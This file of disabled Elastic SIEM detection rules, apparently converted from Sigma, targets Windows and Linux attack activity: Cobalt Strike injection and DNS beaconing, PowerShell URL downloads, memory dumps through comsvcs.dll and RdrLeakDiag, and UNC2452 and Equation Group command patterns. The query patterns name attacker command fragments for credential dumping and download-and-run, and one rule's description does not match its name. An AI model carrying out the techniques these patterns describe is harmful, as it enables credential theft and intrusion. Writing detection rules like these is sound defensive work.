{"description": "Detects a possible remote threat creation with certain characteristics which are typical for Cobalt Strike beacons", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "282ed3a7-27d8-7414-eb75-5995ffc61959", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CobaltStrike Process Injection", "query": "winlog.event_data.StartAddress:(*0B80 OR *0C7C OR *0C88)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1055"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Olaf Hartong", "Florian Roth", "Aleksey Potapov", "oscd.community"], "license": ""}
{"description": "Detects a Powershell process that contains download commands in its command line string", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ccee945a-e953-4ac0-ae12-d9830029a233", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "PowerShell Download from URL", "query": "(process.executable:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND process.command_line:*new\\-object* AND process.command_line:*net.webclient\\).* AND process.command_line:*download* AND process.command_line:(*string\\(* OR *file\\(*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "oscd.community", "Jonhnathan Ribeiro"], "license": ""}
{"description": "Detects a Powershell process that opens network connections - check for suspicious target ports and target systems - adjust to your environment (e.g. extend filters with company's ip range')", "enabled": false, "false_positives": ["Administrative scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "70939b61-e7e4-1dc4-540a-95d28c0c2646", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "PowerShell Network Connections", "query": "((process.executable:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND winlog.event_data.Initiated:\"true\" AND DestinationIsIpv6:\"false\") AND (NOT (destination.ip:(10.* OR 192.168.* OR 172.16.* OR 172.17.* OR 172.18.* OR 172.19.* OR 172.20.* OR 172.21.* OR 172.22.* OR 172.23.* OR 172.24.* OR 172.25.* OR 172.26.* OR 172.27.* OR 172.28.* OR 172.29.* OR 172.30.* OR 172.31.* OR 127.0.0.1*) AND user.name:(*AUTHORI* OR *AUTORI*))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a process memory dump performed by RdrLeakDiag.exe", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1e82ad98-a3fc-74c1-a72e-c8791266eb9d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Process Dump via RdrLeakDiag.exe", "query": "(winlog.event_data.OriginalFileName:\"RdrLeakDiag.exe\" AND process.command_line.text:*fullmemdmp*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Cedric MAURUGEON"], "license": ""}
{"description": "Detects a process memory dump performed via ordinal function 24 in comsvcs.dll", "enabled": false, "false_positives": ["Unlikely, because no one should dump the process memory in that way"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8334c742-98c2-4aba-93a8-eb39a8d08218", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Process Dump via Rundll32 and Comsvcs.dll", "query": "((process.command_line:(*comsvcs.dll* OR *rundll32* OR *.dmp*) AND process.command_line:(*#24* OR *#\\+24* OR *MiniDump*) AND process.command_line:*\\ full*) OR process.command_line:*#\\-4294967272*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "Defense Evasion", "T1003", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}, {"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a process spawned by the terminal service server process (this could be an indicator for an exploitation of CVE-2019-0708)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ddb9eabd-2e46-a492-327c-6e621996e4cb", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Terminal Service Process Spawn", "query": "((process.parent.command_line:*\\\\svchost.exe* AND process.parent.command_line:*termsvcs*) AND (NOT (process.executable:*\\\\rdpclip.exe)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "Lateral Movement", "T1190", "T1210"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1210", "name": "Exploitation of Remote Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a ProcessHacker tool that elevated privileges to a very high level", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6816cd37-cefc-d2f8-fb35-befae994b3c8", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "ProcessHacker Privilege Elevation", "query": "(winlog.channel:\"System\" AND Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\" AND winlog.event_data.ServiceName:ProcessHacker* AND winlog.event_data.AccountName:\"LocalSystem\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1543", "T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "175d567d-7d1b-38e9-ade6-1648d682d79c", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Suspicious Cobalt Strike DNS Beaconing", "query": "(dns.question.name:(aaa.stage.* OR post.1*) OR dns.question.name:*.stage.123456.*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a PsExec service start", "enabled": false, "false_positives": ["Administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "136b730c-1068-18a1-437b-63403a98e5a0", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "PsExec Service Start", "query": "process.command_line:\"C\\:\\\\Windows\\\\PSEXESVC.exe\"", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a regedit started with TrustedInstaller privileges or by ProcessHacker.exe", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "11452c2e-0491-0e69-003b-3f7893340c2b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Regedit as Trusted Installer", "query": "(process.executable.text:*\\\\regedit.exe AND process.parent.executable.text:(*\\\\TrustedInstaller.exe OR *\\\\ProcessHacker.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a regsvr.exe execution that doesn't contain a DLL in the command line", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "02856d1e-752a-a39d-24f4-be6daeb4d0d4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Regsvr32 Command Line Without DLL", "query": "(((process.executable:*\\\\regsvr32.exe AND (NOT (process.command_line:(*.dll* OR *.ocx* OR *.cpl* OR *.ax* OR *.bav* OR *.ppl*)))) AND (NOT (NOT _exists_:process.command_line))) AND (NOT (process.command_line:\"\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a reload or a start of a service.", "enabled": false, "false_positives": ["Installation of legitimate service.", "Legitimate reconfiguration of service."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "f0e4320f-cc80-aafa-7016-eb1f4ea363df", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Systemd Service Reload or Start", "query": "(type:\"EXECVE\" AND a0:*systemctl* AND a1:(*daemon\\-reload* OR *start*))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Jakob Weinzettl", "oscd.community"], "license": ""}
{"description": "Detects a remote file copy attempt to a hidden network share. This may indicate lateral movement or data staging activity.", "author": ["Tim Rauch"], "enabled": false, "false_positives": ["Other programs that cause these patterns (please report)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6258ff39-38a6-70e8-bf00-36df6dd3097d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Privilege Escalation via Named Pipe Impersonation", "query": "(((process.executable.text:(*\\\\cmd.exe OR *\\\\powershell.exe)) OR (winlog.event_data.OriginalFileName:(\"Cmd.Exe\" OR \"PowerShell.EXE\"))) AND (process.command_line.text:*echo* AND process.command_line.text:*>* AND process.command_line.text:*\\\\\\\\.\\\\pipe\\\\*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1021"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects a remote thread creation in suspicious taregt images", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "184b792c-591c-1bb2-a958-9c3e57798612", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Remote Thread Creation in Suspicious Targets", "query": "winlog.event_data.TargetImage:(*\\\\mspaint.exe OR *\\\\calc.exe OR *\\\\notepad.exe OR *\\\\sethc.exe OR *\\\\write.exe OR *\\\\wordpad.exe)", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a remote thread creation in suspicious target images", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "184b792c-591c-1bb2-a958-9c3e57798612", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Remote Thread Creation in Suspicious Targets", "query": "(winlog.event_data.TargetImage:(*\\\\mspaint.exe OR *\\\\calc.exe OR *\\\\notepad.exe OR *\\\\sethc.exe OR *\\\\write.exe OR *\\\\wordpad.exe OR *\\\\explorer.exe) AND (NOT ((StartFunction:\"EtwpNotificationThread\") OR (process.executable.text:(C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\*)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1055"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a remote thread creation of Ttdinject.exe used as proxy", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b11ae54e-9ff5-9d4a-84e3-e8d9f7b5a783", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Remote Thread Creation Ttdinject.exe Proxy", "query": "process.executable:*\\\\ttdinject.exe", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1127"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1127", "name": "Trusted Developer Utilities Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects a renamed dctask64.exe used for process injection, command execution, process creation with a signed binary by ZOHO Corporation", "enabled": false, "false_positives": ["Unknown yet"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e9d59d3c-7732-2d40-8bbe-274ca2792ef5", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Renamed ZOHO Dctask64", "query": "(winlog.event_data.Hashes:*6834B1B94E49701D77CCB3C0895E1AFD* AND (NOT (process.executable:*\\\\dctask64.exe)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1036", "T1055", "T1202", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}, {"id": "T1055", "name": "Process Injection", "reference": ""}, {"id": "T1202", "name": "Indirect Command Execution", "reference": ""}, {"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a rundll32 that communicates with public IP addresses", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Communication to other corporate systems that use IP addresses from public address spaces"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "da137b3e-0333-b596-59b1-06b450d754c8", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Rundll32 Internet Connection", "query": "((process.executable.text:*\\\\rundll32.exe AND winlog.event_data.Initiated:\"true\") AND (NOT ((((destination.ip:(10.* OR 192.168.* OR 172.16.* OR 172.17.* OR 172.18.* OR 172.19.* OR 172.20.* OR 172.21.* OR 172.22.* OR 172.23.* OR 172.24.* OR 172.25.* OR 172.26.* OR 172.27.* OR 172.28.* OR 172.29.* OR 172.30.* OR 172.31.* OR 127.* OR 20.* OR 51.103.* OR 51.104.* OR 51.105.*)) OR (process.command_line.text:*PcaSvc.dll,PcaPatchSdbTask*))) OR ((process.parent.executable.text:\"C:\\Windows\\System32\\svchost.exe\" AND destination.port:\"443\")))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects a script interpreter wscript/cscript opening a network connection to a non-local network. Adversaries may use script to download malicious payloads.", "enabled": false, "false_positives": ["Legitimate scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2817c4dc-ad1a-a663-c7b5-6b108a953f29", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Script Initiated Connection to Non-Local Network", "query": "((winlog.event_data.Initiated:\"true\" AND process.executable.text:(*\\\\wscript.exe OR *\\\\cscript.exe)) AND (NOT ((destination.ip:(127.* OR 10.* OR 172.* OR 192.* OR 169.254.* OR 20.*)) OR (destination.ip:(\\:\\:1* OR 0\\:0\\:0\\:0\\:0\\:0\\:0\\:1* OR fe80\\:* OR fc* OR fd*)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1105"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113", "Florian Roth"], "license": ""}
{"description": "Detects a script interpreter wscript/cscript opening a network connection. Adversaries may use script to download malicious payloads.", "enabled": false, "false_positives": ["Legitimate scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3702d212-c57e-fdb9-8c7e-5b9f8b9557f1", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Script Initiated Connection", "query": "(winlog.event_data.Initiated:\"true\" AND process.executable.text:(*\\\\wscript.exe OR *\\\\cscript.exe))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1105"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects a segmentation fault error message caused by a creashing apache worker process", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "8fc305c1-038c-2a46-977c-a279faddd106", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Apache Segmentation Fault", "query": "\"exit\\ signal\\ Segmentation\\ Fault\"", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1499"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1499", "name": "Endpoint Denial of Service", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a service binary running in a suspicious directory", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fd5cae59-fe19-a059-3b8c-a650008c8ed9", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Service Binary Directory", "query": "(process.executable.text:(*\\\\Users\\\\Public\\\\* OR *\\\\$Recycle.bin* OR *\\\\Users\\\\All\\ Users\\\\* OR *\\\\Users\\\\Default\\\\* OR *\\\\Users\\\\Contacts\\\\* OR *\\\\Users\\\\Searches\\\\* OR *C\\:\\\\Perflogs\\\\* OR *\\\\config\\\\systemprofile\\\\* OR *\\\\Windows\\\\Fonts\\\\* OR *\\\\Windows\\\\IME\\\\* OR *\\\\Windows\\\\addins\\\\*) AND process.parent.executable.text:(*\\\\services.exe OR *\\\\svchost.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1202"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1202", "name": "Indirect Command Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a service installation that uses a suspicious double ampersand used in the image path value", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "96f0c78b-dd3c-4e6e-01e0-21595b911e53", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "New Service Uses Double Ampersand in Path", "query": "(winlog.channel:\"System\" AND Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\" AND winlog.event_data.ImagePath:*\\&&*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": ["Internal Research"], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a service installed by a client which has PID 0 or whose parent has PID 0", "author": ["Tim Rauch"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3b44bfff-6618-0639-daf6-c857c86617e5", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Service Installed By Unusual Client - Security", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4697\" AND ((winlog.event_data.ClientProcessId:\"0\") OR (winlog.event_data.ParentProcessId:\"0\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects a service installed by a client which has PID 0 or whose parent has PID 0", "author": ["Tim Rauch"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "83ac2207-fb64-f18c-9392-16dc9a83a583", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Service Installed By Unusual Client - System", "query": "(winlog.channel:\"System\" AND Provider_Name:\"Service Control Manager\" AND winlog.event_id:\"7045\" AND ProcessId:\"0\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects a set of suspicious network related commands often used in recon stages", "enabled": false, "false_positives": ["False positives depend on scripts and administrative tools used in the monitored environment"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e96a9288-8b94-5551-374d-b3f486d2ee24", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Network Reconnaissance Activity", "query": "(process.command_line:*nslookup* AND process.command_line:*_ldap._tcp.dc._msdcs.*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1082", "T1087"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1082", "name": "System Information Discovery", "reference": ""}, {"id": "T1087", "name": "Account Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a specific PowerShell command line pattern used by the UNC2452 actors as mentioned in Microsoft and Symantec reports", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "779b6a3f-1b2f-c031-3193-b31b550744dc", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "UNC2452 PowerShell Pattern", "query": "((process.command_line.text:*Invoke\\-WMIMethod\\ win32_process\\ \\-name\\ create\\ \\-argumentlist* AND process.command_line.text:*rundll32\\ c\\:\\\\windows*) OR (process.command_line.text:*wmic\\ \\/node\\:* AND process.command_line.text:*process\\ call\\ create\\ \\\"rundll32\\ c\\:\\\\windows*))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1047", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a specific process creation patterns as seen used by UNC2452 and provided by Microsoft as Microsoft Defender ATP queries", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6504350a-67c7-8e72-aea9-5be509a2b2a0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UNC2452 Process Creation Patterns", "query": "((((process.command_line.text:*7z.exe\\ a\\ \\-v500m\\ \\-mx9\\ \\-r0\\ \\-p*) OR ((process.parent.command_line.text:*wscript.exe* AND process.parent.command_line.text:*.vbs* AND process.command_line.text:*rundll32.exe* AND process.command_line.text:*C\\:\\\\Windows* AND process.command_line.text:*.dll,Tk_*)) OR ((process.parent.executable.text:*\\\\rundll32.exe AND process.parent.command_line.text:*C\\:\\\\Windows* AND process.command_line.text:*cmd.exe\\ \\/C\\ *)) OR ((process.command_line.text:*rundll32\\ c\\:\\\\windows\\\\* AND process.command_line.text:*.dll\\ *)))) OR (((process.parent.executable.text:*\\\\rundll32.exe AND process.executable.text:*\\\\dllhost.exe) AND (NOT (process.command_line.text:(\"\" OR \"\"))))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects a specific tool and export used by EquationGroup", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9c049d1b-90cd-f91c-5ab4-e160633aa2bc", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Equation Group DLL_U Load", "query": "((process.executable:*\\\\rundll32.exe AND process.command_line:*,dll_u) OR process.command_line:*\\ \\-export\\ dll_u\\ *)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
